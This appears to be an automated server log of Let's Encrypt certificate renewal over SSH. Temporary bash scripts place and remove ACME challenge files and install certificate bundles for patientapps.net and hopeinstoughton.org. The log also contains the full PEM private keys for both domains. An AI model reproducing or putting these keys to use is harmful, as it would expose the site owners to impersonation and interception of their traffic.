    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:01:05: 

chmod 755 /tmp/pkp779753; /tmp/pkp779753; rm /tmp/pkp779753

2026-06-27 06:01:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt	7445
12:95:76:01:6d:97:ec:58:1a:02:54:51:51:45:2f:e3

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBcsN0jhFo1dNJB+2saJSCEXbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI3MDUwMjMzWhcNMjYwOTI1MDUwMjMyWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC3KDhVY13DA+8A3obCpnAQWkofp5ptQWTRbFfk6LYsbtNbODPTSZMrWQxVsvUi
yTMBM5tTDaf/SzRDWU982XLE0zjuK+JfyrqyS+Ub96GnmW1bGsNAFXT+sqEOruVj
O8KUQSlXYVLtBv+n5tE8qMXsttmidjIapv/Opg1RkZqs9GY2QiPga2qvZBtVI/zD
UVP1DMTBPlCuolKtjHwVDbPrlDAZN6CDSosnqEzfz91OJ9ykOKhcIVsMbqJBOMuS
ck1qK54wKEZdx63MmAjq1fDae1VG8tCv/fxa14vnWHNOZL22OE112T1mEwZePN3n
amQM2/j9GwcUV3WM04sUdmnLAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU8zVY
DMotJSofg2LgX24pHzvc4bwwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfU
aPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9wYXRpZW50YXBwcy5uZXSCE3d3dy5wYXRpZW50
YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3lyMS5jLmxlbmNyLm9yZy85Mi5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ8HqtJk
AAAEAwBIMEYCIQCKTFKy6S7Lxebf17TU6nPln9RTfsoOt0syu803LuHLtQIhAP2j
FEbQEXdBpviU/yX4DOJ7oXl2BRAFM59VcLKO1y6HAH4AGoudaw/+v4G0eTnG0jEK
htbRAtTwRuIYLJ3jX14mJe8AAAGfB6rVnQAIAAAFACOPjlwEAwBHMEUCIBZrIC9B
wYl3CbzAR3QZGkr2vLuJ6nktS5+9WohNQRk/AiEAhBObVcyjN7+IJfkRwfzLdLrW
qk43qK5/gMnOcpdDqAYwDQYJKoZIhvcNAQELBQADggEBAJ1ducK7rpDJKgdoicgX
TVqOaolOL8wAIiaDcA+DD6pomd1EHunIGmh/jCVJzkCFXAcJ/LzxX3BWjjZVW2DW
3+BZgHbpKqjNZi/T+zDGvDy1DIIq32N66dQIdiKXgplRBBAHQmA84XA/7x7P3bMU
Rn9X81pz88JoVkPgwv91SVwh9aJX440vVYUGVAj0m2rgvjJd24z2CGVHFX3d9BZV
0i7gT1Fj70twvBymo+n3V7F7QwcZ4wrRgNEvX4v9SnMFVtI2ZhmFX5N7U5V9411o
U6TOLHPuMncbuW+ZFc+kxBk5aqtFiOT++QIbKhsGL3vevwYk+8Zpll4G6gv5yTJ9
pJg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3KDhVY13DA+8A
3obCpnAQWkofp5ptQWTRbFfk6LYsbtNbODPTSZMrWQxVsvUiyTMBM5tTDaf/SzRD
WU982XLE0zjuK+JfyrqyS+Ub96GnmW1bGsNAFXT+sqEOruVjO8KUQSlXYVLtBv+n
5tE8qMXsttmidjIapv/Opg1RkZqs9GY2QiPga2qvZBtVI/zDUVP1DMTBPlCuolKt
jHwVDbPrlDAZN6CDSosnqEzfz91OJ9ykOKhcIVsMbqJBOMuSck1qK54wKEZdx63M
mAjq1fDae1VG8tCv/fxa14vnWHNOZL22OE112T1mEwZePN3namQM2/j9GwcUV3WM
04sUdmnLAgMBAAECggEACg2UmKc6wGypA9iy9+B6eoNM2ejxUnmKPEPLR+lir79T
gt3BBnddiGhmWMEuWv7vzus+EB8fRKV5lGVvYKXE0BCHPuy8tk+ifg0pYabEF4wV
0wV93bjFHQJr/FTVirlUfZ5dU7T9VWeSxRdSY8HLFKpCpCatqwXV459R+tNYSebg
7bIi7DiCmmxglwMlsZJyIQOoS4lndloSLdvWaT0xyUbVblIpK8G52YGX8wJVk1Ya
I8AG+M9V9z65lfrhbNHXJ3atkfAWKA8i49ZpvSN4uEl1UtJVLCL9pcSY5cUvPosr
JGoJD4wC2QOy7MGhjJTfekxq5dG4qTFZhyfHSe3/EQKBgQD4eQVJeam26cAI6HQs
oyCd71uiRTwgjEl47q+yx/YKwhEUC/E3EFMFtg/XoY7xfour83LLvfVWdI54aEHT
Si6tmsWaqIvu2YpM8w1wbdEeRMcDSvgvj/7uJJVSzdkwbo/FK0YKKYD1WqSEMDj4
Fo6BbetUjoGe9tWmJ7o3q7G7GwKBgQC8tKhOmo8pkfmXFoKee6FOjE7RrBRiFk47
i8l4DvS9WhlRFYYecd8CK9sV3zaksOaV1Fs/3zt9MSr76ArtWAhR956vJBiXyzhR
NOwQwdKNl/UJ9IHY7BSEEewcZKHDrrWGhvLGUqloV0HFvocn1Pr1E5civKAiJvi2
9ePuRBXHEQKBgQDW618eWcTpuTBoxCBQx90bnwFEz9wdTxryJosE+h8g2RIKo/XG
KjGVvA/h9RV+X3YSiqYeAzYlzPW6wntFdmH/ueL4TpeTRslwm79hIywBoX3+pCce
hM/+Tth2YiVd1hQ3eKHBgnrQPtIUoN12AZTL8Tbf0c/enyTX7n8NTk6SRwKBgHHe
KXlU9nJFLXCoGqV7QHjfXWhUB/CwOQDhdu7FR5VC2uf8rvOMDt+GiysFiDmUrW9X
tsAx+fmvQ5rCCGXzqwGbA9v3Uge2jwMhhhkOe/kI6snZCslUm4SeM/VmG96ye8Lz
h2d41dSqYnvqXjAA6nYcHiTN4Wr6TTZJ5gIOf32hAoGBAOxjmNOQhtjou0LyCGeq
6YRxNF/MXZ1zzXr6aGt5YD8i6+BziiyejXLXZkQdrQVs+ugdO9WujVIx3L5UcP5/
+YFqJ4cBNugG3JQDKrRRlRMmyEfev+olCFm1rMt7NJVwrR6QOBfnYL9EV1DGx+z8
ejTSiKrCU5Aw5JOXtyR2rfIA
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-28 06:00:02: Establishing a connection
2026-06-28 06:00:02: Establishing a connection
2026-06-28 06:00:03: 

PUT: /tmp/pkp973178

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-28 06:00:04: 

chmod 755 /tmp/pkp973178; /tmp/pkp973178; rm /tmp/pkp973178

2026-06-28 06:00:04: 


1


2026-06-28 06:00:05: Establishing a connection
2026-06-28 06:00:06: 

PUT: /tmp/pkp905924

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > yt5V0tYB_UKLQ8uf7UVmZgBRQJaQAm_RZNwQFzzoc4w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yt5V0tYB_UKLQ8uf7UVmZgBRQJaQAm_RZNwQFzzoc4w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yt5V0tYB_UKLQ8uf7UVmZgBRQJaQAm_RZNwQFzzoc4w
cat > ZfRk0Hfu16ZDm7K72HIfEIPuCkJOLl623_v8wJJVo8w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ZfRk0Hfu16ZDm7K72HIfEIPuCkJOLl623_v8wJJVo8w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ZfRk0Hfu16ZDm7K72HIfEIPuCkJOLl623_v8wJJVo8w


2026-06-28 06:00:06: 

chmod 755 /tmp/pkp905924; /tmp/pkp905924; rm /tmp/pkp905924

2026-06-28 06:00:06: 




2026-06-28 06:00:14: Establishing a connection
2026-06-28 06:00:14: 

PUT: /tmp/pkp528280

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm yt5V0tYB_UKLQ8uf7UVmZgBRQJaQAm_RZNwQFzzoc4w
rm ZfRk0Hfu16ZDm7K72HIfEIPuCkJOLl623_v8wJJVo8w


2026-06-28 06:00:14: 

chmod 755 /tmp/pkp528280; /tmp/pkp528280; rm /tmp/pkp528280

2026-06-28 06:00:14: 




2026-06-28 06:00:14: Establishing a connection
2026-06-28 06:00:14: 

PUT: /tmp/pkp564644

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt

cat > $temp_file <<'endmsg'
89:c0:ca:4f:99:db:9a:e1:42:bc:df:8d:cb:0b:b9:7b

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBXReoG7wqUDxNiqliDbFygclMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI4MDUwMTQzWhcNMjYwOTI2MDUwMTQyWjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAyGDZPRTKjApLtBG8PmMzlq8bZdWwD7dmWtfaGeAfTN/95pmsX+BD2RFC
w2pZ3/FMIpan+6ODXmwz6T2Ai/+cb256h/oInzdOlfKga0MTk+NpJDOsvNvmYeAL
PmVu1HT8loNK8nXAC4BHp0X6dt/xe2ozR2ypJz05D2znIv+4/uW0mu84qZtj1Qj1
iIbs2wldsvejkNgRxPGR4cU3vlQ/qeRNgdO0ARd/CMN2sOp05N5XiUYuNzjwcx1q
nx3eR26IUoUZTqucH2s3Hcu4D3fqju5HkBFquSxDsa9htDWYR/MoksqGv0gPXFdL
TypcuM53uY0Dk0XsGDc9SIeNJkirewIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FK1npU74O0zd5v6F7JE6Q3RO91LTMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3W
Mh+BDIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITaG9wZWluc3RvdWdodG9uLm9yZ4IXd3d3
LmhvcGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zOC5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa
2Q5SzQAAAZ8M0GxjAAAEAwBHMEUCIQCyU2HgtJnn6SLdb9Nt6RChFNJmZ2rDNCd3
Qc7KkS3rXgIgKULgOzncRLkP+BqKu2V7zm2T6HXwjQ9dkXJ8KnnLSvQAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ8M0G0DAAgAAAUACvjAQgQD
AEcwRQIgMSXeM5CzS6Bp30SKkJW2DGbMHNLtK/Cu5t7EKtS/Co4CIQDnfo1WUj2U
Ekan3IoyW46VAgyrGVoynFc9vf6I9ASp1zANBgkqhkiG9w0BAQsFAAOCAQEAFwOn
eVD75fIQ02kD8asFk2Fi+P4Y1Wu+gYB+D5ynigVNMzNl2ZoS+QoZyVoUVvmcBkTM
nA/KLjpaxpyeqo8zBeREj/qXzhFPP6MxMOxaADMfp0ZkjdLncWmPb+rCXCHGlpcT
QkdD2wLXo6tlNNva6tq7tGGGDMuHYzVaaDAVIZuyECvrZYqZA1XZLQ9arvpzYp1p
ErmH7VUoDxo/TR+3K6DU28pUHdU+4tcXsJkAkyFgPMIhVb0ayjoD9kLl9btrK+Ih
njdvN696HDd6eNf/dGlAadFpuDM0ZE19swawtd0f2Nxh01U61J5QK5iNVZ+/xQEf
dXZUOkluTLzlKX/s9g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDIYNk9FMqMCku0
Ebw+YzOWrxtl1bAPt2Za19oZ4B9M3/3mmaxf4EPZEULDalnf8Uwilqf7o4NebDPp
PYCL/5xvbnqH+gifN06V8qBrQxOT42kkM6y82+Zh4As+ZW7UdPyWg0rydcALgEen
Rfp23/F7ajNHbKknPTkPbOci/7j+5bSa7zipm2PVCPWIhuzbCV2y96OQ2BHE8ZHh
xTe+VD+p5E2B07QBF38Iw3aw6nTk3leJRi43OPBzHWqfHd5HbohShRlOq5wfazcd
y7gPd+qO7keQEWq5LEOxr2G0NZhH8yiSyoa/SA9cV0tPKly4zne5jQOTRewYNz1I
h40mSKt7AgMBAAECggEADfLhUdq01OB8mkmScJyy69OUaoI1x4pNUkKXbgNc5Rrs
pP+1RlapcnQR++Isj9B6K9LlWQ5DaAXL6/nPjS9bN6NEXVs0UXJmApM0GUi/P/rD
MsrJb2Y2w0EiQeg0Dw8hFuXciESr0evOpnV9H4cBsO/Y0lPdR0bVm4jJuEp+mXkg
ABIuF+b6F1Gjm7qH/RsvOXgMlLvpTEj9qwc16V6W6xuf2XKbQxnKbym+QoahTBHt
3bKl6koxlfaPynhYvVqY35X37CL6xNV42deSubNLG04ti5pk1wyyO5nWIGguNnAe
nhtBOwpUBdsblrLos0PuNTiBGvqUbBO/k5HiDGuWCQKBgQD/w/YqcmLhywQ9XfmM
8xFApCfKsYsMMxKYKy0PXTNYU3sENtkcYaljtchkKZybLIqxaxCzuEnxv3CblUb5
uumub2+/sxrAvwS4Sh0/qSQpG3utzPvvcmvYs7+0wdYvQWczlnW+wkjbaAfPqC62
FBhuMRevTapNq6am4RxxsQY70wKBgQDIj+KqkmbK8528dP0TUAW2PVfFOdc6XJy8
YUL4n0Y9kr2NgR8oQ0w9ezRNpd07Gnwl2otaqgXUsSRCskHHDyuNWNjLJdhGuSFy
TiUBtpjEg1I7PdE7VobitAMM0nIK6pCS6hBg30WkClsXoZFzvQ6dPAdnIutTFSh8
7eDft6TQuQKBgQCx0pALEP5Y2Cq5c+X2LmT3WWplDa2MLNInxBUPEpCJP3lPA8dN
aUU5EwEhSqEcbgp7seGp4l5e2ugy88WmCWNBKS87zA20ptpkOvs88J84iWgi/VrI
Lvh2cPq/dOkyb7mN73UrzK6VBS4xHVBkvXIC4tUBx/C5EbfLXMXG8fpQiwKBgA0/
e+B6hTG4v92X+LOS4J22FZsgg/gF8BB9eDgGBVTB4aV8Nvuo3ltdTQon/6IM0NCL
TBM0EeiHvvZs4e1tMhpHGSLqIAwj5HKxeL5ROmwYpJDnN2/s+kH1VBI/wGq6LcyW
i3hqpyX7zSKVeI8lmNaIBZEpfFPjnOYLrIP6lHd5AoGBAIFoRvckOpamGzeAE07G
u968dMIfbuTVfW8qBsUcuJeQ4I2MHiZafwT9SOcdSV5P7kBktObtOPaW0NcNInkv
s5uC8IxQJ85Z+uP7Co82OeeRKMLCqSGZKdAJWBRiWtcn18NR783l5F+Af1MPY/Qq
OGUEK55K8E5Oy+BHKkGyxrdv
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
